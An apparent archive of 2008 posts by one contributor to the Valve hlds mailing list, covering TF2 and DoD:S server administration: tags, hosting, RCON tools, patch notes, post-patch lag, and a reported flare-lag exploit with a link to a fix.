The server states it's out of date, but people can still connect to it via
IP/favorites, and it prevents the matchmaking system from using the server.

Not fancy, but it's adequate for me until passworded servers work.

On Thu, Nov 6, 2008 at 11:05 PM, Kitteny Berk <[EMAIL PROTECTED]> wrote:

> Well, now my servers work, and I can, in theory, join them manually.
>
> Only as soon as I unpassword one to join it, a lobby grabs it from under
> my nose,  anyone have any bright ideas to fix it?
>
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Re: [hlds] TF2: Web Control used during MOTD

2008-10-28 Thread P. Bhandal
You grab their SteamID from the connect event, and then you force another
window open in the place of the MOTD. On the client's end, it just looks
like another MOTD, but it's actually customized based on their SteamID.

On Tue, Oct 28, 2008 at 11:02 AM, Karl Weckstrom <[EMAIL PROTECTED]> wrote:

> It may - but it's a whole chicken/egg scenario. If you've connected and are
> staring at the MOTD, where do you pull the user's Steam ID from? There would
> have to be some way to get it programmatically via js/vbs or what not...
>
> -Original Message-
> From: [EMAIL PROTECTED] [mailto:
> [EMAIL PROTECTED] On Behalf Of Olly
> Sent: Tuesday, October 28, 2008 10:58 AM
> To: Half-Life dedicated Win32 server mailing list
> Subject: Re: [hlds] TF2: Web Control used during MOTD
>
> Doesnt hlstatsx (or maybe psychostats) already do this?
> 2008/10/28 P. Bhandal <[EMAIL PROTECTED]>
>
> > You could use the player connect event to grab their SteamID, then use
> > their
> > SteamID as an argument to grab their stats.
> >
> > It would probably require that you force a browser window open on them as
> > soon as they get in game to override the default motd.
> >
> > On Tue, Oct 28, 2008 at 10:33 AM, Karl Weckstrom <[EMAIL PROTECTED]>
> > wrote:
> >
> > > Here's an interesting question.
> > >
> > > Over at www.TrashedGamers.com, we have a custom MOTD. That in and of
> > > itself isn't interesting, but I was thinking - is there a way to "read"
> > the
> > > current steam ID of the person who's connected and reading the MOTD?
> > >
> > > I could write up some dynamic html and/or vbscript that could look up
> > their
> > > current ranking in hlstatsx and have the MOTD say something like "You
> are
> > > currently ranked XXX of  players"... I'm already putting the top 10
> > > there, but adding the player's current ranking sure would be a nice
> > touch.
> > >
> > > Thanks in advance!
> > > -karl
> > >
> > > www.TrashedGamers.com
> > >
> > >
> > >
> > >
> > >
> > >
> > > ___
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> > > please visit:
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Re: [hlds] TF2: Web Control used during MOTD

2008-10-28 Thread P. Bhandal
It allows you to bring up the particular user's HLStatSX page, but it can't
embed their rank into a custom MOTD.

On Tue, Oct 28, 2008 at 10:57 AM, Olly <[EMAIL PROTECTED]> wrote:

> Doesnt hlstatsx (or maybe psychostats) already do this?
> 2008/10/28 P. Bhandal <[EMAIL PROTECTED]>
>
> > You could use the player connect event to grab their SteamID, then use
> > their
> > SteamID as an argument to grab their stats.
> >
> > It would probably require that you force a browser window open on them as
> > soon as they get in game to override the default motd.
> >
> > On Tue, Oct 28, 2008 at 10:33 AM, Karl Weckstrom <[EMAIL PROTECTED]>
> > wrote:
> >
> > > Here's an interesting question.
> > >
> > > Over at www.TrashedGamers.com, we have a custom MOTD. That in and of
> > > itself isn't interesting, but I was thinking - is there a way to "read"
> > the
> > > current steam ID of the person who's connected and reading the MOTD?
> > >
> > > I could write up some dynamic html and/or vbscript that could look up
> > their
> > > current ranking in hlstatsx and have the MOTD say something like "You
> are
> > > currently ranked XXX of  players"... I'm already putting the top 10
> > > there, but adding the player's current ranking sure would be a nice
> > touch.
> > >
> > > Thanks in advance!
> > > -karl
> > >
> > > www.TrashedGamers.com
> > >
> > >
> > >
> > >
> > >
> > >
> > > ___
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> > > please visit:
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Re: [hlds] TF2: Web Control used during MOTD

2008-10-28 Thread P. Bhandal
You could use the player connect event to grab their SteamID, then use their
SteamID as an argument to grab their stats.

It would probably require that you force a browser window open on them as
soon as they get in game to override the default motd.

On Tue, Oct 28, 2008 at 10:33 AM, Karl Weckstrom <[EMAIL PROTECTED]> wrote:

> Here's an interesting question.
>
> Over at www.TrashedGamers.com, we have a custom MOTD. That in and of
> itself isn't interesting, but I was thinking - is there a way to "read" the
> current steam ID of the person who's connected and reading the MOTD?
>
> I could write up some dynamic html and/or vbscript that could look up their
> current ranking in hlstatsx and have the MOTD say something like "You are
> currently ranked XXX of  players"... I'm already putting the top 10
> there, but adding the player's current ranking sure would be a nice touch.
>
> Thanks in advance!
> -karl
>
> www.TrashedGamers.com
>
>
>
>
>
>
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Re: [hlds] Dedicated server/colo hosting

2008-10-23 Thread P. Bhandal
Really? I've been using Branzone for quite some time now without any
problems. Brandon has always gone the extra mile for me when I've had
problems. As far as the routing issues go, I'd say toss in a ticket and see
if they can help you out :)

On Thu, Oct 23, 2008 at 12:40 PM, Fudgstu <[EMAIL PROTECTED]> wrote:

> Who's a good dedicated server hosting company in Chicago, IL?  Our
> community
> currently uses Branzone, with 7 gaming servers on dedicated.  Their support
> has gotten worse recently.  When I've had problems, it is taking 2 hours
> before they respond.  They have also changed the routing to the dedi and
> has
> increased by 4 hops to all game servers.
>
> Thanks.
>
> On Thu, Oct 23, 2008 at 2:07 AM, Steven <[EMAIL PROTECTED]
> >wrote:
>
> > Hi,
> >
> > Kind of late on the reply to the OP, but just wanted to throw this out
> > there.
> >
> > In my case, I own a bunch of physical servers which are mostly of the 2U
> > variety. I have got stuff hosted in Seattle and Washington DC at HopOne
> > data
> > centers. There is not much downside for me at the moment... In my case,
> it
> > works out that I can own my equipment since I have someone (tech) local
> to
> > each data center that can physically touch the machine if anythig goes
> > wrong. (Has not happened yet... in the last 4 years I've been with them.)
> > Their basic Colo package starts at $99/month (1 & 2U) and goes up from
> > there, if you own your own equipment. I have never rented a dedicated
> > server
> > from their operations company, Superb. (These machines run TF2/CS, Web &
> > Database services respectively.)
> >
> > Regards,
> > Steven
> >
> > On Thu, Oct 23, 2008 at 7:10 AM, Dustin Wyatt <[EMAIL PROTECTED]
> > >wrote:
> >
> > > Who are some of you guys using for your colo or dedicated hosting?
> > > I'm going to be moving my server, and would like some options.
> > >
> > > It's tough to get through the marketing of all these providers, and
> > > really there's no substitute for people with actual experience with a
> > > providers network latency...
> > >
> > > ___
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> > > please visit:
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> > >
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Re: [hlds] Dedicated server/colo hosting

2008-10-22 Thread P. Bhandal
I've used Branzone for my dedicated servers in Seattle, and Wolfservers for
my dedicated servers in Los Angeles. Never had any problems thus far, both
companies are excellent.

Only have a single box colocated, and it's colocated for non-gaming related
stuff, so can't really help there.

On Wed, Oct 22, 2008 at 6:10 PM, Dustin Wyatt <[EMAIL PROTECTED]>wrote:

> Who are some of you guys using for your colo or dedicated hosting?
> I'm going to be moving my server, and would like some options.
>
> It's tough to get through the marketing of all these providers, and
> really there's no substitute for people with actual experience with a
> providers network latency...
>
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Re: [hlds] The new tagging system

2008-09-07 Thread P. Bhandal
sv_tags "alltalk"

On Sun, Sep 7, 2008 at 11:39 PM, [EMAIL PROTECTED] <
[EMAIL PROTECTED]> wrote:

> I run an alltalk server and It looks as though the tagging system doesn't
> automatically add alltalk to the tags. How would I add alltalk to the
> server
> tags?
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Re: [hlds] Dedicated Server System Requirements

2008-08-28 Thread P. Bhandal
http://srcds.com/ Is a good place to start.

As far as the requirements for a 24 man server, I run a 66 tick 24 man TF2
boosted to 1ms server and it uses about 40% of a core on an E6600 (2.4 ghz)
machine running Windows Server 2003. If you run it unboosted it will require
significantly less than that.

Bandwidth requirements won't be a problem if you host it in a data center,
but if you host it from a residential connection you might want to be sure
that you have enough upstream to handle it. Here's a good guide on bandwidth
use, although it's probably a bit more in-depth than what you need at this
stage:

http://whisper.ausgamers.com/wiki/index.php/Tickrate

If you go with a shared hosting provider like Branzone (www.branzone.com) I
believe they give you pre-made CFGs to begin with, so it may be the easiest
route if it's your first server.

Good luck!

On Thu, Aug 28, 2008 at 2:32 PM, Mercier, Richard {PBG} <
[EMAIL PROTECTED]> wrote:

> Hi all -
>
> Before posting my official "1st question", I'll introduce myself.  I'm
> Rick Mercier aka A.C.E (within the STEAM community), and have been
> gaming with STEAM for roughly 2 months.
>
> I've been gaming hardcore with TF2, and love it so much, I'm interested
> in setting up a dedicated server.  With that said, I have found the
> quote un-quote instructions here:
> http://supportwiki.steampowered.com/wiki/Setting_up_a_Standalone_Dedicat
> ed_Server  but I'm having difficulty finding recommended system
> requirements for up to 24 players.
>
> Can anybody lead me in the right direction or provide any insight?
>
> Thanks in advance!
>
> A.C.E
>
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Re: [hlds] Remote RCON Application?

2008-08-28 Thread P. Bhandal
Ya, I probably should have mentioned, if you're looking to run the same
command across multiple servers then the app I linked is optimal. If you
want to just send rcon commands to a specific server, nothing beats HLSW.

On Thu, Aug 28, 2008 at 11:58 AM, Thomas Morton <
[EMAIL PROTECTED]> wrote:

> I use HLSW (hlsw.org)
>
> It is a little bit overkill but seems to work well :)
>
> Thomas Morton
>
> ++ No problem should ever have to be solved twice ++
>
>
> On Thu, Aug 28, 2008 at 4:54 PM, William Stillwell - KI4SWY <
> [EMAIL PROTECTED]> wrote:
>
> > I know there is a PHP Script floating around, but more iteresting in
> small
> > windows client, does anybody know where i can find one? I know someone
> had
> > posted back in 2006 to this list of a small windows app called "ogsRcon"
> > but, i don't have his email addy.. , i would be more interested in the
> > source. , i run a Windows Box, and Hate RDP's into it to do simple tasks
> > while in game :(
> > Thanks.
> > William Stillwell (CoYoTe99 of GAN)
> > ___
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> > please visit:
> > http://list.valvesoftware.com/mailman/listinfo/hlds
> >
> >
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Re: [hlds] Remote RCON Application?

2008-08-28 Thread P. Bhandal
http://upload.theqclan.com/5848636RCON.rar

On Thu, Aug 28, 2008 at 11:54 AM, William Stillwell - KI4SWY <
[EMAIL PROTECTED]> wrote:

> I know there is a PHP Script floating around, but more iteresting in small
> windows client, does anybody know where i can find one? I know someone had
> posted back in 2006 to this list of a small windows app called "ogsRcon"
> but, i don't have his email addy.. , i would be more interested in the
> source. , i run a Windows Box, and Hate RDP's into it to do simple tasks
> while in game :(
> Thanks.
> William Stillwell (CoYoTe99 of GAN)
> ___
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Re: [hlds] A Heavy Update

2008-08-19 Thread P. Bhandal
That would be acceptable, but I'm seeing up to 6 or 8 people in "waiting
mode" at a given time.

On Tue, Aug 19, 2008 at 8:16 PM, Patrick O <[EMAIL PROTECTED]> wrote:

> If there are an uneven amount of clients on the server at the start of
> the round, then it will force one player to sit out to make even
> teams. I think this is how it works anyway.
>
>
> On Tue, Aug 19, 2008 at 6:04 PM, P. Bhandal <[EMAIL PROTECTED]> wrote:
> > How exactly does this "sitting out" work exactly? Does some percentage of
> > the server have to sit out every round?
> >
> > On Tue, Aug 19, 2008 at 7:50 PM, Patrick O <[EMAIL PROTECTED]> wrote:
> >
> >> It's not a command line option, afaik. The option to use arena mode is
> >> probably within each map itself, or perhaps changing the map to an
> >> "arena_" map causes the server to switch to "arena mode" and use the
> >> arena mapcycle as well as the arena_config.cfg
> >>
> >> Patrick
> >>
> >>
> >> On Tue, Aug 19, 2008 at 5:43 PM, Flubber <[EMAIL PROTECTED]> wrote:
> >> > Clearly there must be a command line option to call a specific one for
> a
> >> > server, can't you valve release all info for once?
> >> >
> >> > 2008/8/20 chillicane <[EMAIL PROTECTED]>
> >> >
> >> >> theres a new config file in cfg called config_arena.cfg
> >> >>
> >> >> this sets the server name to that.
> >> >>
> >> >> On Wed, Aug 20, 2008 at 7:43 AM, steve grout <[EMAIL PROTECTED]>
> >> >> wrote:
> >> >>
> >> >> > wtf
> >> >> >
> >> >> > cant change server name away from Team Fortress 2 Arena Server
> >> >> >
> >> >> >
> >> >> > Spencer wrote:
> >> >> > > They just corrected it.. lmao
> >> >> > >
> >> >> > > On Tue, Aug 19, 2008 at 2:59 PM, Patrick O <[EMAIL PROTECTED]
> >
> >> >> wrote:
> >> >> > >
> >> >> > >
> >> >> > >> There appears to be a spelling mistake on
> >> >> > >> http://www.steampowered.com/tf2/heavy/images/06_sandvich.jpg
> >> >> > >>
> >> >> > >> @Cheese and dairy group
> >> >> > >> +20 HEATLH
> >> >> > >>
> >> >> > >> Is this intended?
> >> >> > >>
> >> >> > >> On Tue, Aug 19, 2008 at 2:36 PM, Jonah Hirsch <
> >> [EMAIL PROTECTED]>
> >> >> > >> wrote:
> >> >> > >>
> >> >> > >>> Good! This is my reason for getting at least 10 achievements.
> The
> >> >> other
> >> >> > >>> two didn't do it for me, and I never use the HWG shotgun
> anyway. I
> >> >> > >>> wonder what the taunt will be. :P
> >> >> > >>>
> >> >> > >>> bl4nkeh wrote:
> >> >> > >>>
> >> >> > >>>> Sandvich!
> >> >> > >>>> http://www.steampowered.com/tf2/heavy/sandvich.htm
> >> >> > >>>>
> >> >> > >>>> Fudgstu wrote:
> >> >> > >>>>
> >> >> > >>>>
> >> >> > >>>>> Thank you Jason for giving us an idea of the approx. time
> >> >> > >>>>> Blood, I think he means the update will be released hopefully
> at
> >> >> > 2:30pm
> >> >> > >>>>>
> >> >> > >> PDT.
> >> >> > >>
> >> >> > >>>>> On Tue, Aug 19, 2008 at 2:03 PM, Blood Letter <
> >> >> > >>>>>
> >> >> > >> [EMAIL PROTECTED]>wrote:
> >> >> > >>
> >> >> > >>>>>
> >> >> > >>>>>
> >> >> > >>>>>> I'm in a meeting from 2-3.  Excellent.
> >> >> > >>>>>>
> >> >> > >>>>>> I will inform my subordinates that they are now responsible.
> >> >> > >>>>>>
> >> >> > >>>>>> (Or, did he mean he would post with an upd

Re: [hlds] A Heavy Update

2008-08-19 Thread P. Bhandal
How exactly does this "sitting out" work exactly? Does some percentage of
the server have to sit out every round?

On Tue, Aug 19, 2008 at 7:50 PM, Patrick O <[EMAIL PROTECTED]> wrote:

> It's not a command line option, afaik. The option to use arena mode is
> probably within each map itself, or perhaps changing the map to an
> "arena_" map causes the server to switch to "arena mode" and use the
> arena mapcycle as well as the arena_config.cfg
>
> Patrick
>
>
> On Tue, Aug 19, 2008 at 5:43 PM, Flubber <[EMAIL PROTECTED]> wrote:
> > Clearly there must be a command line option to call a specific one for a
> > server, can't you valve release all info for once?
> >
> > 2008/8/20 chillicane <[EMAIL PROTECTED]>
> >
> >> theres a new config file in cfg called config_arena.cfg
> >>
> >> this sets the server name to that.
> >>
> >> On Wed, Aug 20, 2008 at 7:43 AM, steve grout <[EMAIL PROTECTED]>
> >> wrote:
> >>
> >> > wtf
> >> >
> >> > cant change server name away from Team Fortress 2 Arena Server
> >> >
> >> >
> >> > Spencer wrote:
> >> > > They just corrected it.. lmao
> >> > >
> >> > > On Tue, Aug 19, 2008 at 2:59 PM, Patrick O <[EMAIL PROTECTED]>
> >> wrote:
> >> > >
> >> > >
> >> > >> There appears to be a spelling mistake on
> >> > >> http://www.steampowered.com/tf2/heavy/images/06_sandvich.jpg
> >> > >>
> >> > >> @Cheese and dairy group
> >> > >> +20 HEATLH
> >> > >>
> >> > >> Is this intended?
> >> > >>
> >> > >> On Tue, Aug 19, 2008 at 2:36 PM, Jonah Hirsch <
> [EMAIL PROTECTED]>
> >> > >> wrote:
> >> > >>
> >> > >>> Good! This is my reason for getting at least 10 achievements. The
> >> other
> >> > >>> two didn't do it for me, and I never use the HWG shotgun anyway. I
> >> > >>> wonder what the taunt will be. :P
> >> > >>>
> >> > >>> bl4nkeh wrote:
> >> > >>>
> >> >  Sandvich!
> >> >  http://www.steampowered.com/tf2/heavy/sandvich.htm
> >> > 
> >> >  Fudgstu wrote:
> >> > 
> >> > 
> >> > > Thank you Jason for giving us an idea of the approx. time
> >> > > Blood, I think he means the update will be released hopefully at
> >> > 2:30pm
> >> > >
> >> > >> PDT.
> >> > >>
> >> > > On Tue, Aug 19, 2008 at 2:03 PM, Blood Letter <
> >> > >
> >> > >> [EMAIL PROTECTED]>wrote:
> >> > >>
> >> > >
> >> > >
> >> > >> I'm in a meeting from 2-3.  Excellent.
> >> > >>
> >> > >> I will inform my subordinates that they are now responsible.
> >> > >>
> >> > >> (Or, did he mean he would post with an update on timing at
> 2:30?)
> >> > >>
> >> > >>
> >> > >>
> >> > >>
> >> > >>
> >> > >>
> >> > >>> From: [EMAIL PROTECTED]
> >> > >>> To: hlds@list.valvesoftware.com
> >> > >>> Date: Tue, 19 Aug 2008 18:37:39 +
> >> > >>> Subject: Re: [hlds] A Heavy Update
> >> > >>>
> >> > >>> Well since that is only 3 hours away are you going to put the
> 6th
> >> > >>>
> >> > >> thing
> >> > >>
> >> > >>>
> >> > >> on the Heavy Update website so we can have some preview of it
> to
> >> > keep
> >> > >>
> >> > >> us
> >> > >>
> >> > >> drooling.
> >> > >>
> >> > >>
> >> > >>
> >> > >>> -VM
> >> > >>>
> >> > >>>
> >> > >>>
> >> > >>>
> >> > >>>
> >> > >>>
> >> >  Date: Tue, 19 Aug 2008 11:31:22 -0700> From:
> >> > 
> >> > >> [EMAIL PROTECTED]>
> >> > >>
> >> > 
> >> > >> To: hlds@list.valvesoftware.com;
> >> [EMAIL PROTECTED]>
> >> > >> Subject: Re: [hlds] A Heavy Update> > And it is going to happen
> >> > today.
> >> > >> Hopefully around 2:30 PM PDT.> > Jason> > -Original
> >> > Message->
> >> > >>
> >> > >> From:
> >> > >>
> >> > >> [EMAIL PROTECTED]> [mailto:
> >> > >> [EMAIL PROTECTED] On Behalf Of Keeper>
> Sent:
> >> > >>
> >> > >> Tuesday,
> >> > >>
> >> > >> August 19, 2008 10:51 AM> To: 'Half-Life dedicated Win32 server
> >> > >>
> >> > >> mailing
> >> > >>
> >> > >> list'> Subject: Re: [hlds] A Heavy Update> > There have been
> many
> >> > >>
> >> > >> posts by
> >> > >>
> >> > >> Alfred, Mike, Jason, and Eric.> > Jason usually tells us that
> it's
> >> > >>
> >> > >> going to
> >> > >>
> >> > >> happen soon, so when you see> his> post you know you have a
> couple
> >> > of
> >> > >>
> >> > >> hours
> >> > >>
> >> > >> at most to finish your sammich.> > No worries :)> > Keeper> >
> >> > >>
> >> > >> -Original
> >> > >>
> >> > >> Message-> From: Leonard L. Church [mailto:
> >> > [EMAIL PROTECTED]
> >> > >>
> >> > >> Sent: Tuesday, August 19, 2008 1:46 PM> To: Half-Life dedicated
> >> > Win32
> >> > >>
> >> > >> server
> >> > >>
> >> > >> mailing list> Subject: Re: [hlds] A Heavy Update> > Just
> >> curious..>
> >> > >
> >> > >>
> >> > >> Has
> >> > >>
> >> > >> anyone from Valve EVER posted to this list except to tell us an
> >
> >> > >>
> >> > >> update is
> >> > >>
> >> > >> coming? I mean, has there ever been a

Re: [hlds] Team Fortress 2 Update Released

2008-08-19 Thread P. Bhandal
Removed the Custom Tab in the serverbrowser, and added the Tags field
to the base Internet Tab

Hooray!

On Tue, Aug 19, 2008 at 5:34 PM, Jason Ruymen <[EMAIL PROTECTED]>wrote:

> The required Heavy update for Team Fortress 2 has been released.  Please
> use hldsupdatetool to receive it.  The specific changes include:
>
> Added 3 Heavy unlockables:
> - Natascha, The Sandvich, The Killing Gloves of Boxing
> - Added 35 new Heavy achievements
>
> Added Arena game mode:
> - 5 arenas: Lumberyard, Ravine, Well, Granary, Badlands
>
> - Added cp_steel, a community map by Jamie "Fishbus" Manson
>
> Changes:
> - Added server map timeleft to upper right of scoreboard
> - Added new firing sounds to The Backburner
> - Removed the Custom Tab in the serverbrowser, and added the Tags field
> to the base Internet Tab
> - Increased The Kritzkrieg's uber-charge rate bonus from 10% to 25%
> - 32 player servers can now support an extra slot of SourceTV
> - Made the freezecam item panel description easier to read
> - Players now broadcast whether they chose a team directly or use
> autoteam
> - Added proper handling of cart blocking recognition to Payload maps
>
> Bug fixes:
> - Fixed bug where switching from flaregun-wielding Pyro to another class
> meant you didn't get a full ammo loadout on first spawn
> - Fixed Spy watch arm not using team skins
> - Fixed weapon switching preventing you from using secondary attacks for
> a 0.2s window after the primary became available
> - Fixed players getting stuck in a bad animation state when class
> switching while spinning the minigun
> - Fixed a loophole that allowed players to pickup weapons of other
> classes
> - Fixed a bug that resulted in players earning more crit chance bonus in
> large, single damage events than they are supposed to
> - Fixed an issue with the floating HUD +X health indicators that
> resulted in them appearing incorrectly
> - Fixed a bug which caused the minigun spinning & firing sounds to
> occasionally stop while the Heavy was still firing
> - Fixes the Loadout player model panel causing the in-game player facial
> animation to perform incorrectly
> - Fixed spectators not having the target ID labels display correctly
> - Fixed the cart alarm sound occasionally getting stuck on in Payload
> maps
>
> Jason
>
>
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Re: [hlds] Team Fortress 2 Update Released

2008-07-29 Thread P. Bhandal
Looks like it's due to having an outdated version of Metamod. With the
newest version I run fine.

On Tue, Jul 29, 2008 at 4:51 PM, P. Bhandal <[EMAIL PROTECTED]> wrote:

> Mine as well.
>
>
> On Tue, Jul 29, 2008 at 4:44 PM, Eric van Beesten <[EMAIL PROTECTED]>wrote:
>
>> Crap.. my server is crashing! :(
>>
>> -Oorspronkelijk bericht-
>> Van: [EMAIL PROTECTED]
>> [mailto:[EMAIL PROTECTED] Namens Jason Ruymen
>> Verzonden: woensdag 30 juli 2008 1:37
>> Aan: Half-Life dedicated Win32 server mailing list;
>> [EMAIL PROTECTED]; [EMAIL PROTECTED]
>> Onderwerp: [hlds] Team Fortress 2 Update Released
>>
>> A new required update for Team Fortress 2 has been released.  Please run
>> hldsupdatetool to receive it.  The specific changes include:
>>
>> - Fixed team switches on Attack/Defense maps spamming the console
>> - Fixed the Kritzkrieg not working on servers with crits turned off
>> - Fixed some clipped localized strings in various in-game dialogs
>> - Fixed several cases where files were synchronously loaded while the
>> game was running
>> - Fixed a shutdown crash in the material system
>> - Cached rendering of item model panels to improve performance, in
>> particular while weapon selection was visible
>> - Added a gear symbol behind the health bar for Engineer buildings, in
>> both target IDs and freeze panels
>> - Players killing themselves will now give a kill credit to the last
>> enemy who damaged them
>> - Fixed grenades, rockets, and flamethrower being able to fire through
>> grates at round starts
>> - Fixed players being killed and creating ragdolls during team switches
>> - Fixed various exploits and performance problems in CP_Badlands,
>> CP_Well, and CP_Fastlane
>> - Removed health bonus from the Backburner
>>
>> Jason
>>
>>
>> ___
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>> please visit:
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>>
>> __ NOD32 3308 (20080729) Informatie __
>>
>> Dit bericht is gecontroleerd door het NOD32 Antivirus Systeem.
>> http://www.nod32.nl
>>
>>
>>
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Re: [hlds] Team Fortress 2 Update Released

2008-07-29 Thread P. Bhandal
Mine as well.

On Tue, Jul 29, 2008 at 4:44 PM, Eric van Beesten <[EMAIL PROTECTED]>wrote:

> Crap.. my server is crashing! :(
>
> -Oorspronkelijk bericht-
> Van: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] Namens Jason Ruymen
> Verzonden: woensdag 30 juli 2008 1:37
> Aan: Half-Life dedicated Win32 server mailing list;
> [EMAIL PROTECTED]; [EMAIL PROTECTED]
> Onderwerp: [hlds] Team Fortress 2 Update Released
>
> A new required update for Team Fortress 2 has been released.  Please run
> hldsupdatetool to receive it.  The specific changes include:
>
> - Fixed team switches on Attack/Defense maps spamming the console
> - Fixed the Kritzkrieg not working on servers with crits turned off
> - Fixed some clipped localized strings in various in-game dialogs
> - Fixed several cases where files were synchronously loaded while the
> game was running
> - Fixed a shutdown crash in the material system
> - Cached rendering of item model panels to improve performance, in
> particular while weapon selection was visible
> - Added a gear symbol behind the health bar for Engineer buildings, in
> both target IDs and freeze panels
> - Players killing themselves will now give a kill credit to the last
> enemy who damaged them
> - Fixed grenades, rockets, and flamethrower being able to fire through
> grates at round starts
> - Fixed players being killed and creating ragdolls during team switches
> - Fixed various exploits and performance problems in CP_Badlands,
> CP_Well, and CP_Fastlane
> - Removed health bonus from the Backburner
>
> Jason
>
>
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>
> __ NOD32 3308 (20080729) Informatie __
>
> Dit bericht is gecontroleerd door het NOD32 Antivirus Systeem.
> http://www.nod32.nl
>
>
>
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Re: [hlds] Timeout issues since 07/04/08 patch.

2008-07-05 Thread P. Bhandal
It's happening on both TF2 and DoD:S for me.

On Sat, Jul 5, 2008 at 11:21 PM, Timothy Sadleir <[EMAIL PROTECTED]> wrote:

> Are you talking about a TF2 server or DoD:S server?  Let's specify what
> game
> cause I mentioned getting this with DoD:S on my server and it's getting
> irritating.
>
> On Sat, Jul 5, 2008 at 10:57 PM, Craig Collinson <
> [EMAIL PROTECTED]> wrote:
>
> > getting exactly the same problem with and without mods installed on
> win2k3
> >
> > 2008/7/5 Ben B <[EMAIL PROTECTED]>:
> >
> > > Bleh, forgot to mention I am on Linux too.
> > >
> > > On Sat, Jul 5, 2008 at 2:22 AM, Ben B <[EMAIL PROTECTED]>
> wrote:
> > >
> > > > I notice it too during the WAITING FOR PLAYERS round, it usually
> lasts
> > a
> > > > few seconds, then goes away, then it's just fine for the rest of the
> > map.
> > > >
> > > >
> > > >
> > > >
> > > > On Sat, Jul 5, 2008 at 1:23 AM, Timothy Sadleir <[EMAIL PROTECTED]>
> > > > wrote:
> > > >
> > > >> So weird and irritating.  This happens on DoD:S TOO!  It JUST
> happened
> > > to
> > > >> my
> > > >> server!  I had 32 players in and every time the darned wehrmacht
> kept
> > > >> getting the last flag, once the new round was supposed to begin, it
> > > >> wouldn't
> > > >> for a while showing that time out in the upper right had corner.
>  The
> > > last
> > > >> time they took all the flags and the next round was supposed to
> start
> > > the
> > > >> timeout never went away.  The server was frozen after that.  :(
> > > >>
> > > >> On Fri, Jul 4, 2008 at 9:46 PM, JDoc0512 <[EMAIL PROTECTED]> wrote:
> > > >>
> > > >> > now my server randomly times out on mapchange
> > > >> > I had to get rid of timelimit on my servers to prevent this
> > > >> >
> > > >> > when I change map manually, server doesn't time out
> > > >> >
> > > >> > --- On Fri, 7/4/08, P. Bhandal <[EMAIL PROTECTED]> wrote:
> > > >> >
> > > >> > From: P. Bhandal <[EMAIL PROTECTED]>
> > > >> > Subject: Re: [hlds] Timeout issues since 07/04/08 patch.
> > > >> > To: "Half-Life dedicated Win32 server mailing list" <
> > > >> > hlds@list.valvesoftware.com>
> > > >> > Date: Friday, July 4, 2008, 9:20 PM
> > > >> >
> > > >> > Very interesting Ryan, I had the exact same experience with Mach4.
> I
> > > >> have a
> > > >> > 24/7 Mach4 server that had to be temporarily shut down it got so
> > bad,
> > > >> there
> > > >> > just wasn't any point in playing with lag spikes every 10 seconds
> or
> > > so.
> > > >> >
> > > >> > Really looking forward to a resolution to the problem.
> > > >> >
> > > >> > On Fri, Jul 4, 2008 at 7:53 PM, Ryan Mannion <
> [EMAIL PROTECTED]
> > >
> > > >> > wrote:
> > > >> >
> > > >> > > I'm running Linux TF2 servers and can confirm this behavior,
> both
> > > with
> > > >> > > and without mods (namely MM:S and SM).
> > > >> > >
> > > >> > > Certain maps are completely unplayable. Try ctf_mach4.
> > > >> > >
> > > >> > > Ryan
> > > >> > >
> > > >> > > On Fri, Jul 4, 2008 at 5:41 PM, P. Bhandal <[EMAIL PROTECTED]>
> > > >> > wrote:
> > > >> > > > Has anyone been experiencing odd lag issues/time out countdown
> > > >> > problems
> > > >> > > > since the last patch?
> > > >> > > >
> > > >> > > > On some maps when players join a server (that time between
> > joining
> > > a
> > > >> > team
> > > >> > > > and spawning) they get a timeout countdown for a few seconds,
> > then
> > > >> it
> > > >> > > goes
> > > >> > > > away. It does this randomly throughout the game for people,
> > which
> > > >> > > manifests
> > > >> > > > as lag spikes. It'

Re: [hlds] Flare exploit on 2Fort

2008-07-04 Thread P. Bhandal
Here's a fix:

http://forums.alliedmods.net/showthread.php?p=647995

On Fri, Jul 4, 2008 at 11:52 PM, JDoc0512 <[EMAIL PROTECTED]> wrote:

> man that's c00L
>
> --- On Sat, 7/5/08, P. Bhandal <[EMAIL PROTECTED]> wrote:
>
> From: P. Bhandal <[EMAIL PROTECTED]>
> Subject: [hlds] Flare exploit on 2Fort
> To: "Half-Life dedicated Win32 server mailing list" <
> hlds@list.valvesoftware.com>
> Date: Saturday, July 5, 2008, 12:35 AM
>
> I'm not sure whether this issue is limited to 2fort, but I've been
> having
> some problems with people coming onto my server and getting a ton of flares
> stuck which ends up lagging the server out. Here's an example:
>
> http://upload.theqclan.com/2474995ctf_2fort0003.jpg
>
> Rebooting the server or changing the map fixes the issue.
> ___
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[hlds] Flare exploit on 2Fort

2008-07-04 Thread P. Bhandal
I'm not sure whether this issue is limited to 2fort, but I've been having
some problems with people coming onto my server and getting a ton of flares
stuck which ends up lagging the server out. Here's an example:

http://upload.theqclan.com/2474995ctf_2fort0003.jpg

Rebooting the server or changing the map fixes the issue.
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Re: [hlds] Timeout issues since 07/04/08 patch.

2008-07-04 Thread P. Bhandal
Very interesting Ryan, I had the exact same experience with Mach4. I have a
24/7 Mach4 server that had to be temporarily shut down it got so bad, there
just wasn't any point in playing with lag spikes every 10 seconds or so.

Really looking forward to a resolution to the problem.

On Fri, Jul 4, 2008 at 7:53 PM, Ryan Mannion <[EMAIL PROTECTED]> wrote:

> I'm running Linux TF2 servers and can confirm this behavior, both with
> and without mods (namely MM:S and SM).
>
> Certain maps are completely unplayable. Try ctf_mach4.
>
> Ryan
>
> On Fri, Jul 4, 2008 at 5:41 PM, P. Bhandal <[EMAIL PROTECTED]> wrote:
> > Has anyone been experiencing odd lag issues/time out countdown problems
> > since the last patch?
> >
> > On some maps when players join a server (that time between joining a team
> > and spawning) they get a timeout countdown for a few seconds, then it
> goes
> > away. It does this randomly throughout the game for people, which
> manifests
> > as lag spikes. It's definitely not a load issue, and it only started
> since
> > the most recent patch. There have been some users attributing it to
> > SourceMod on the AlliedModders forums, but I ran a vanilla server and it
> was
> > affected by it as well.
> >
> > The issue is roughly outlined this thread:
> >
> > http://forums.alliedmods.net/showthread.php?t=73679&page=2
> > ___
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> please visit:
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> >
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[hlds] Timeout issues since 07/04/08 patch.

2008-07-04 Thread P. Bhandal
Has anyone been experiencing odd lag issues/time out countdown problems
since the last patch?

On some maps when players join a server (that time between joining a team
and spawning) they get a timeout countdown for a few seconds, then it goes
away. It does this randomly throughout the game for people, which manifests
as lag spikes. It's definitely not a load issue, and it only started since
the most recent patch. There have been some users attributing it to
SourceMod on the AlliedModders forums, but I ran a vanilla server and it was
affected by it as well.

The issue is roughly outlined this thread:

